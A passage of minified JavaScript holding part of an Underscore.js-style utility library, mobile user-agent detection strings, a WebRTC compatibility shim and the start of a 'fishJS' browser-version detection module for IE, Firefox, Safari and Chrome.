r={computed:-Infinity};N(e,function(e,i,s){var o=t?t.call(n,e,i,s):e;o>=r.computed&&(r={value:e,computed:o})});return r.value};T.min=function(e,t,n){if(!t&&T.isArray(e)&&e[0]===+e[0]){return Math.min.apply(Math,e)}if(!t&&T.isEmpty(e)){return Infinity}var r={computed:Infinity};N(e,function(e,i,s){var o=t?t.call(n,e,i,s):e;o<r.computed&&(r={value:e,computed:o})});return r.value};T.shuffle=function(e){var t=[],n;N(e,function(e,r,i){n=Math.floor(Math.random()*(r+1));t[r]=t[n];t[n]=e});return t};T.sortBy=function(e,t,n){var r=T.isFunction(t)?t:function(e){return e[t]};return T.pluck(T.map(e,function(e,t,i){return{value:e,criteria:r.call(n,e,t,i)}}).sort(function(e,t){var n=e.criteria,r=t.criteria;if(n===void 0){return 1}if(r===void 0){return-1}return n<r?-1:n>r?1:0}),"value")};T.groupBy=function(e,t){var n={};var r=T.isFunction(t)?t:function(e){return e[t]};N(e,function(e,t){var i=r(e,t);(n[i]||(n[i]=[])).push(e)});return n};T.sortedIndex=function(e,t,n){n||(n=T.identity);var r=0,i=e.length;while(r<i){var s=r+i>>1;n(e[s])<n(t)?r=s+1:i=s}return r};T.toArray=function(e){if(!e){return[]}if(T.isArray(e)){return a.call(e)}if(T.isArguments(e)){return a.call(e)}if(e.toArray&&T.isFunction(e.toArray)){return e.toArray()}return T.values(e)};T.size=function(e){return T.isArray(e)?e.length:T.keys(e).length};T.first=T.head=T.take=function(e,t,n){return t!=null&&!n?a.call(e,0,t):e[0]};T.initial=function(e,t,n){return a.call(e,0,e.length-(t==null||n?1:t))};T.last=function(e,t,n){if(t!=null&&!n){return a.call(e,Math.max(e.length-t,0))}else{return e[e.length-1]}};T.rest=T.tail=function(e,t,n){return a.call(e,t==null||n?1:t)};T.compact=function(e){return T.filter(e,function(e){return!!e})};T.flatten=function(e,t){return T.reduce(e,function(e,n){if(T.isArray(n)){return e.concat(t?n:T.flatten(n))}e[e.length]=n;return e},[])};T.without=function(e){return T.difference(e,a.call(arguments,1))};T.uniq=T.unique=function(e,t,n){var r=n?T.map(e,n):e;var i=[];if(e.length<3){t=true}T.reduce(r,function(n,r,s){if(t?T.last(n)!==r||!n.length:!T.include(n,r)){n.push(r);i.push(e[s])}return n},[]);return i};T.union=function(){return T.uniq(T.flatten(arguments,true))};T.intersection=T.intersect=function(e){var t=a.call(arguments,1);return T.filter(T.uniq(e),function(e){return T.every(t,function(t){return T.indexOf(t,e)>=0})})};T.difference=function(e){var t=T.flatten(a.call(arguments,1),true);return T.filter(e,function(e){return!T.include(t,e)})};T.zip=function(){var e=a.call(arguments);var t=T.max(T.pluck(e,"length"));var n=new Array(t);for(var r=0;r<t;r++){n[r]=T.pluck(e,""+r)}return n};T.indexOf=function(e,t,n){if(e==null){return-1}var r,i;if(n){r=T.sortedIndex(e,t);return e[r]===t?r:-1}if(b&&e.indexOf===b){return e.indexOf(t)}for(r=0,i=e.length;r<i;r++){if(r in e&&e[r]===t){return r}}return-1};T.lastIndexOf=function(e,t){if(e==null){return-1}if(w&&e.lastIndexOf===w){return e.lastIndexOf(t)}var n=e.length;while(n--){if(n in e&&e[n]===t){return n}}return-1};T.range=function(e,t,n){if(arguments.length<=1){t=e||0;e=0}n=arguments[2]||1;var r=Math.max(Math.ceil((t-e)/n),0);var i=0;var s=new Array(r);while(i<r){s[i++]=e;e+=n}return s};var k=function(){};T.bind=function(t,n){var r,i;if(t.bind===x&&x){return x.apply(t,a.call(arguments,1))}if(!T.isFunction(t)){throw new TypeError}i=a.call(arguments,2);return r=function(){if(!(this instanceof r)){return t.apply(n,i.concat(a.call(arguments)))}k.prototype=t.prototype;var e=new k;var s=t.apply(e,i.concat(a.call(arguments)));if(Object(s)===s){return s}return e}};T.bindAll=function(e){var t=a.call(arguments,1);if(t.length==0){t=T.functions(e)}N(t,function(t){e[t]=T.bind(e[t],e)});return e};T.memoize=function(e,t){var n={};t||(t=T.identity);return function(){var r=t.apply(this,arguments);return T.has(n,r)?n[r]:n[r]=e.apply(this,arguments)}};T.delay=function(e,t){var n=a.call(arguments,2);return setTimeout(function(){return e.apply(null,n)},t)};T.defer=function(e){return T.delay.apply(T,[e,1].concat(a.call(arguments,1)))};T.throttle=function(e,t){var n,r,i,s,o,u;var a=T.debounce(function(){o=s=false},t);return function(){n=this;r=arguments;var f=function(){i=null;if(o){e.apply(n,r)}a()};if(!i){i=setTimeout(f,t)}if(s){o=true}else{u=e.apply(n,r)}a();s=true;return u}};T.debounce=function(e,t,n){var r;return function(){var i=this,s=arguments;var o=function(){r=null;if(!n){e.apply(i,s)}};if(n&&!r){e.apply(i,s)}clearTimeout(r);r=setTimeout(o,t)}};T.once=function(e){var t=false,n;return function(){if(t){return n}t=true;return n=e.apply(this,arguments)}};T.wrap=function(e,t){return function(){var n=[e].concat(a.call(arguments,0));return t.apply(this,n)}};T.compose=function(){var e=arguments;return function(){var t=arguments;for(var n=e.length-1;n>=0;n--){t=[e[n].apply(this,t)]}return t[0]}};T.after=function(e,t){if(e<=0){return t()}return function(){if(--e<1){return t.apply(this,arguments)}}};T.keys=S||function(e){if(e!==Object(e)){throw new TypeError("Invalid object")}var t=[];for(var n in e){if(T.has(e,n)){t[t.length]=n}}return t};T.values=function(e){return T.map(e,T.identity)};T.functions=T.methods=function(e){var t=[];for(var n in e){if(T.isFunction(e[n])){t.push(n)}}return t.sort()};T.extend=function(e){N(a.call(arguments,1),function(t){for(var n in t){e[n]=t[n]}});return e};T.pick=function(e){var t={};N(T.flatten(a.call(arguments,1)),function(n){if(n in e){t[n]=e[n]}});return t};T.defaults=function(e){N(a.call(arguments,1),function(t){for(var n in t){if(e[n]==null){e[n]=t[n]}}});return e};T.clone=function(e){if(!T.isObject(e)){return e}return T.isArray(e)?e.slice():T.extend({},e)};T.tap=function(e,t){t(e);return e};T.isEqual=function(e,t){return L(e,t,[])};T.isEmpty=function(e){if(e==null){return true}if(T.isArray(e)||T.isString(e)){return e.length===0}for(var t in e){if(T.has(e,t)){return false}}return true};T.isElement=function(e){return!!(e&&e.nodeType==1)};T.isArray=E||function(e){return l.call(e)=="[object Array]"};T.isObject=function(e){return e===Object(e)};T.isArguments=function(e){return l.call(e)=="[object Arguments]"};if(!T.isArguments(arguments)){T.isArguments=function(e){return!!(e&&T.has(e,"callee"))}}T.isFunction=function(e){return l.call(e)=="[object Function]"};T.isString=function(e){return l.call(e)=="[object String]"};T.isNumber=function(e){return l.call(e)=="[object Number]"};T.isFinite=function(e){return T.isNumber(e)&&isFinite(e)};T.isNaN=function(e){return e!==e};T.isBoolean=function(e){return e===true||e===false||l.call(e)=="[object Boolean]"};T.isDate=function(e){return l.call(e)=="[object Date]"};T.isRegExp=function(e){return l.call(e)=="[object RegExp]"};T.isNull=function(e){return e===null};T.isUndefined=function(e){return e===void 0};T.has=function(e,t){return c.call(e,t)};T.noConflict=function(){e._=r;return this};T.identity=function(e){return e};T.times=function(e,t,n){for(var r=0;r<e;r++){t.call(n,r)}};T.escape=function(e){return(""+e).replace(/&/g,"&").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#x27;").replace(/\//g,"&#x2F;")};T.result=function(e,t){if(e==null){return null}var n=e[t];return T.isFunction(n)?n.call(e):n};T.mixin=function(e){N(T.functions(e),function(t){F(t,T[t]=e[t])})};var A=0;T.uniqueId=function(e){var t=A++;return e?e+t:t};T.templateSettings={evaluate:/<::([\s\S]+?)::>/g,interpolate:/<::=([\s\S]+?)::>/g,escape:/<:-([\s\S]+?):>/g};var O=/.^/;var M={"\\":"\\","'":"'",r:"\r",n:"\n",t:" ",u2028:"\u2028",u2029:"\u2029"};for(var _ in M){M[M[_]]=_}var D=/\\|'|\r|\n|\t|\u2028|\u2029/g;var P=/\\(\\|'|r|n|t|u2028|u2029)/g;var H=function(e){return e.replace(P,function(e,t){return M[t]})};T.template=function(e,t,n){n=T.defaults(n||{},T.templateSettings);var r="__p+='"+e.replace(D,function(e){return"\\"+M[e]}).replace(n.escape||O,function(e,t){return"'+\n_.escape("+H(t)+")+\n'"}).replace(n.interpolate||O,function(e,t){return"'+\n("+H(t)+")+\n'"}).replace(n.evaluate||O,function(e,t){return"';\n"+H(t)+"\n;__p+='"})+"';\n";if(!n.variable){r="with(obj||{}){\n"+r+"}\n"}r="var __p='';var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n"+r+"return __p;\n";var i=new Function(n.variable||"obj","_",r);if(t){return i(t,T)}var s=function(e){return i.call(this,e,T)};s.source="function("+(n.variable||"obj")+"){\n"+r+"}";return s};T.chain=function(e){return T(e).chain()};var B=function(e){this._wrapped=e};T.prototype=B.prototype;var j=function(e,t){return t?T(e).chain():e};var F=function(e,t){B.prototype[e]=function(){var e=a.call(arguments);f.call(e,this._wrapped);return j(t.apply(T,e),this._chain)}};T.mixin(T);N(["pop","push","reverse","shift","sort","splice","unshift"],function(e){var t=s[e];B.prototype[e]=function(){var n=this._wrapped;t.apply(n,arguments);var r=n.length;if((e=="shift"||e=="splice")&&r===0){delete n[0]}return j(n,this._chain)}});N(["concat","join","slice"],function(e){var t=s[e];B.prototype[e]=function(){return j(t.apply(this._wrapped,arguments),this._chain)}});B.prototype.chain=function(){this._chain=true;return this};B.prototype.value=function(){return this._wrapped}}).call(this)});var isIphone=false;var isAndroidPhone=false;var isTierTablet=false;var isTierIphone=false;var isTierRichCss=false;var isTierGenericMobile=false;var engineWebKit="webkit";var deviceIphone="iphone";var deviceIpod="ipod";var deviceIpad="ipad";var deviceMacPpc="macintosh";var deviceAndroid="android";var deviceGoogleTV="googletv";var deviceXoom="xoom";var deviceHtcFlyer="htc_flyer";var deviceNuvifone="nuvifone";var deviceSymbian="symbian";var deviceS60="series60";var deviceS70="series70";var deviceS80="series80";var deviceS90="series90";var deviceWinPhone7="windows phone os 7";var deviceWinMob="windows ce";var deviceWindows="windows";var deviceIeMob="iemobile";var devicePpc="ppc";var enginePie="wm5 pie";var deviceBB="blackberry";var vndRIM="vnd.rim";var deviceBBStorm="blackberry95";var deviceBBBold="blackberry97";var deviceBBBoldTouch="blackberry 99";var deviceBBTour="blackberry96";var deviceBBCurve="blackberry89";var deviceBBCurveTouch="blackberry 938";var deviceBBTorch="blackberry 98";var deviceBBPlaybook="playbook";var devicePalm="palm";var deviceWebOS="webos";var deviceWebOShp="hpwos";var engineBlazer="blazer";var engineXiino="xiino";var deviceKindle="kindle";var engineSilk="silk";var vndwap="vnd.wap";var wml="wml";var deviceTablet="tablet";var deviceBrew="brew";var deviceDanger="danger";var deviceHiptop="hiptop";var devicePlaystation="playstation";var deviceNintendoDs="nitro";var deviceNintendo="nintendo";var deviceWii="wii";var deviceXbox="xbox";var deviceArchos="archos";var engineOpera="opera";var engineNetfront="netfront";var engineUpBrowser="up.browser";var engineOpenWeb="openweb";var deviceMidp="midp";var uplink="up.link";var engineTelecaQ="teleca q";var devicePda="pda";var mini="mini";var mobile="mobile";var mobi="mobi";var maemo="maemo";var linux="linux";var qtembedded="qt embedded";var mylocom2="com2";var manuSonyEricsson="sonyericsson";var manuericsson="ericsson";var manuSamsung1="sec-sgh";var manuSony="sony";var manuHtc="htc";var svcDocomo="docomo";var svcKddi="kddi";var svcVodafone="vodafone";var disUpdate="update";var uagent="";if(navigator&&navigator.userAgent)uagent=navigator.userAgent.toLowerCase();InitDeviceScan();var RTCPeerConnection=null;var getUserMedia=null;var attachMediaStream=null;var reattachMediaStream=null;var webrtcDetectedBrowser=null;var webrtcDetectedVersion=null;if(navigator.mozGetUserMedia){webrtcDetectedBrowser="firefox";webrtcDetectedVersion=parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1],10);var RTCPeerConnection=function(e,t){maybeFixConfiguration(e);return new mozRTCPeerConnection(e,t)};RTCSessionDescription=mozRTCSessionDescription;RTCIceCandidate=mozRTCIceCandidate;getUserMedia=navigator.mozGetUserMedia.bind(navigator);navigator.getUserMedia=getUserMedia;createIceServer=function(e,t,n){var r=null;var i=e.split(":");if(i[0].indexOf("stun")===0){r={url:e}}else if(i[0].indexOf("turn")===0){if(webrtcDetectedVersion<27){var s=e.split("?");if(s.length===1||s[1].indexOf("transport=udp")===0){r={url:s[0],credential:n,username:t}}}else{r={url:e,credential:n,username:t}}}return r};createIceServers=function(e,t,n){var r=[];for(i=0;i<e.length;i++){var s=createIceServer(e[i],t,n);if(s!==null){r.push(s)}}return r};attachMediaStream=function(e,t){console.log("Attaching media stream");e.mozSrcObject=t;e.play()};reattachMediaStream=function(e,t){console.log("Reattaching media stream");e.mozSrcObject=t.mozSrcObject;e.play()};if(!MediaStream.prototype.getVideoTracks){MediaStream.prototype.getVideoTracks=function(){return[]}}if(!MediaStream.prototype.getAudioTracks){MediaStream.prototype.getAudioTracks=function(){return[]}}}else if(navigator.webkitGetUserMedia){webrtcDetectedBrowser="chrome";var result=navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);if(result!==null){webrtcDetectedVersion=parseInt(result[2],10)}else{webrtcDetectedVersion=999}createIceServer=function(e,t,n){var r=null;var i=e.split(":");if(i[0].indexOf("stun")===0){r={url:e}}else if(i[0].indexOf("turn")===0){r={url:e,credential:n,username:t}}return r};createIceServers=function(e,t,n){var r=[];if(webrtcDetectedVersion>=34){r={urls:e,credential:n,username:t}}else{for(i=0;i<e.length;i++){var s=createIceServer(e[i],t,n);if(s!==null){r.push(s)}}}return r};var RTCPeerConnection=function(e,t){if(webrtcDetectedVersion<34){maybeFixConfiguration(e)}return new webkitRTCPeerConnection(e,t)};getUserMedia=navigator.webkitGetUserMedia.bind(navigator);navigator.getUserMedia=getUserMedia;attachMediaStream=function(e,t){if(typeof e.srcObject!=="undefined"){e.srcObject=t}else if(typeof e.mozSrcObject!=="undefined"){e.mozSrcObject=t}else if(typeof e.src!=="undefined"){e.src=URL.createObjectURL(t)}else{console.log("Error attaching stream to element.")}};reattachMediaStream=function(e,t){e.src=t.src}}else{console.log("Browser does not appear to be WebRTC-capable")}$j=jQuery.noConflict();if(typeof fish==="undefined"&&typeof window.fish==="undefined"){var fishJS={version:"0.4.6.0-alpha",pageIsLoaded:false,onpopstate:new Array,onclose:new Array,commands:new Array,components:new Array,debug:function(e){if(!false)return;if(typeof console=="object"&&typeof console.log=="function"){console.log(e)}else{}},execute:function(e){if(typeof fish.websocket=="undefined"){this.commands.push(e)}else{e()}},regCmp:function(e){this.components.push(e)}};window.fish=fishJS}fish.browser={getBrowserReportedName:function(){return navigator.userAgent},isA:function(){return window.navigator.userAgent.match(/Avant TriCore/)!=null},isI:function(){return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/)!=null},isIE6:function(){return!window.XMLHttpRequest&&!window.globalStorage},isIE7:function(){return!!window.XMLHttpRequest&&!window.chrome&&!window.opera&&!window.getComputedStyle&&!window.globalStorage&&!document.documentMode},isIE8:function(){return!!window.XMLHttpRequest&&!window.chrome&&!window.opera&&!!document.documentMode&&!!window.XDomainRequest&&!window.performance},isIE9:function(){return!!window.XMLHttpRequest&&!window.chrome&&!window.opera&&!!document.documentMode&&!window.XDomainRequest&&!!window.performance&&typeof navigator.msMaxTouchPoints==="undefined"},isIE10:function(){return!!window.XMLHttpRequest&&!window.chrome&&!window.opera&&!!document.documentMode&&!!window.XDomainRequest&&!!window.performance&&typeof navigator.msMaxTouchPoints!=="undefined"},isIE11:function(){return!!window.XMLHttpRequest&&!window.chrome&&!window.opera&&!!document.documentMode&&!!window.performance&&typeof navigator.msMaxTouchPoints!=="undefined"&&typeof document.selection==="undefined"&&typeof document.createStyleSheet==="undefined"&&typeof window.createPopup==="undefined"&&typeof window.XDomainRequest==="undefined"},isIE:function(){return this.isIE6()||this.isIE7()||this.isIE8()||this.isIE9()||this.isIE10()||this.isIE11()},isFF2:function(){return!!window.globalStorage&&!window.postMessage},isFF3:function(){return!!window.globalStorage&&!!window.postMessage&&!JSON.parse},isFF3_5:function(){return!!window.globalStorage&&!!JSON.parse&&!window.FileReader},isFF3_6:function(){return!!window.globalStorage&&!!window.FileReader&&!window.multitouchData&&!window.history.replaceState},isFF4:function(){return!!window.globalStorage&&!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/4\./)!=null},isFF5:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/5\./)!=null},isFF6:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/6\./)!=null},isFF7:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/7\./)!=null},isFF8:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/8\./)!=null},isFF9:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/9\./)!=null},isFF10:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/10\./)!=null},isFF11:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/11\./)!=null},isFF12:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/12\./)!=null},isFF13:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/13\./)!=null},isFF14:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/14\./)!=null},isFF15:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/15\./)!=null},isFF16:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/16\./)!=null},isFF17:function(){return!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/17\./)!=null},isFF18:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&window.navigator.userAgent.match(/Firefox\/18\./)!=null},isFF19:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&window.navigator.userAgent.match(/Firefox\/19\./)!=null},isFF20:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&window.navigator.userAgent.match(/Firefox\/20\./)!=null},isFF21:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/21\./)!=null},isFF22:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/22\./)!=null},isFF23:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/23\./)!=null},isFF24:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/24\./)!=null},isFF25:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/25\./)!=null},isFF26:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&window.navigator.userAgent.match(/Firefox\/26./)!=null},isFF27:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&window.navigator.userAgent.match(/Firefox\/27./)!=null},isFF28:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt!=="function"&&window.navigator.userAgent.match(/Firefox\/28./)!=null},isFF29:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&window.navigator.userAgent.match(/Firefox\/29./)!=null},isFF30:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&window.navigator.userAgent.match(/Firefox\/30./)!=null},isFF31:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&window.navigator.userAgent.match(/Firefox\/31./)!=null},isFF32:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&typeof Number.isSafeInteger==="function"&&window.navigator.userAgent.match(/Firefox\/32./)!=null},isFF33:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&typeof Number.isSafeInteger==="function"&&window.navigator.userAgent.match(/Firefox\/33./)!=null},isFF34:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&typeof Number.isSafeInteger==="function"&&window.navigator.userAgent.match(/Firefox\/34./)!=null},isFF35:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&typeof navigator.mozGetUserMedia!="undefined"&&typeof window.crypto!="undefined"&&typeof window.crypto.getRandomValues!="undefined"&&typeof Math.hypot=="function"&&typeof String.prototype.codePointAt==="function"&&typeof Number.isSafeInteger==="function"&&window.navigator.userAgent.match(/Firefox\/35./)!=null},isFF:function(){return this.isFF2()||this.isFF3()||this.isFF3_5()||this.isFF3_6()||this.isFF4()||this.isFF5()||this.isFF6()||this.isFF7()||this.isFF8()||this.isFF9()||this.isFF10()||this.isFF11()||this.isFF12()||this.isFF13()||this.isFF14()||this.isFF15()||this.isFF16()||this.isFF17()||this.isFF18()||this.isFF19()||this.isFF20()||this.isFF21()||this.isFF22()||this.isFF23()||this.isFF24()||this.isFF25()||this.isFF26()||this.isFF27()||this.isFF28()||this.isFF29()||this.isFF30()||this.isFF31()||this.isFF32()||this.isFF33()||this.isFF34()||this.isFF35()},isS4:function(){return window.navigator.userAgent.match(/ Version\/4\.\d/)!=null&&window.navigator.userAgent.match(/Safari\/\d/)!=null&&!window.globalStorage&&!!window.getComputedStyle&&!window.opera&&!window.chrome&&!("MozWebSocket"in window)},isS5:function(){return window.navigator.userAgent.match(/ Version\/5\.\d/)!=null&&window.navigator.userAgent.match(/Safari\/\d/)!=null&&!window.globalStorage&&!!window.getComputedStyle&&!window.opera&&!window.chrome&&!("MozWebSocket"in window)},isS6:function(){return window.navigator.userAgent.match(/ Version\/6\.\d/)!=null&&window.navigator.userAgent.match(/Safari\/\d/)!=null&&!window.globalStorage&&!!window.getComputedStyle&&!window.opera&&!window.chrome&&!("MozWebSocket"in window)},isS7:function(){return window.navigator.userAgent.match(/ Version\/7\.\d/)!=null&&window.navigator.userAgent.match(/Safari\/\d/)!=null&&!window.globalStorage&&!!window.getComputedStyle&&!window.opera&&!window.chrome&&!("MozWebSocket"in window)},isS8:function(){return window.navigator.userAgent.match(/ Version\/8\.\d/)!=null&&window.navigator.userAgent.match(/Safari\/\d/)!=null&&!window.globalStorage&&!!window.getComputedStyle&&!window.opera&&!window.chrome&&!("MozWebSocket"in window)},isS:function(){return this.isS4()||this.isS5()||this.isS6()||this.isS7()||this.isS8()},isC5:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==5?true:false)},isC6:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==6?true:false)},isC7:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==7?true:false)},isC8:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==8?true:false)},isC9:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==9?true:false)},isC10:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==10?true:false)},isC11:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==11?true:false)},isC12:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==12?true:false)},isC13:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==13?true:false)},isC14:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==14?true:false)},isC15:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==15?true:false)},isC16:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==16?true:false)},isC17:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==17?true:false)},isC18:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==18?true:false)},isC19:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==19?true:false)},isC19iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==19?true:false)},isC20:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==20?true:false)},isC20iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==20?true:false)},isC21:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==21?true:false)},isC21iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==21?true:false)},isC22:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==22?true:false)},isC22iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==22?true:false)},isC23:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==23?true:false)},isC23iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==23?true:false)},isC24:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)==24?true:false)},isC24iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&(parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)==24?true:false)},isC25:function(){return!!window.chrome&&!window.webkit